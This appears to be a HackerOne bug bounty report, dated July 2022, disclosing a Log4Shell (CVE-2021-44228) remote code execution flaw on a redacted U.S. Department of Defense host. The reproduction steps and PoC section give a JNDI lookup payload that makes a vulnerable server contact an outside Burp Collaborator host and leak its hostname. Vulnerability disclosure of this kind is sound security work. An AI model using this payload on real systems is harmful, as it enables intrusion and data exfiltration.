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hackeroneFkletH1:1624137
HistoryJul 04, 2022 - 2:01 p.m.

U.S. Dept Of Defense: LOGJ4 VUlnerability [HtUS]

2022-07-0414:01:23
fklet
hackerone.com
$1000
25
u.s. dept of defense
logj4
vulnerability
rce
cve-2021-44228
mitigation
arbitary code execution
java package

EPSS

0.97

Percentile

99.8%

Description:
Hi team,

log4 shell is recent 0-day exploit it’s Java package vulnerable. █████ is vulnerable

Impact

RCE

System Host(s)

██████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

  1. Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
  2. paste the poc code on parameter
  3. Then burp collaborator received reverse ping back
    Photos below

POC CODE
${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

Suggested Mitigation/Remediation Actions
https://www.lunasec.io/docs/blog/log4j-zero-day/

Impact

Successful attack leads Arbitary Code Execution on the application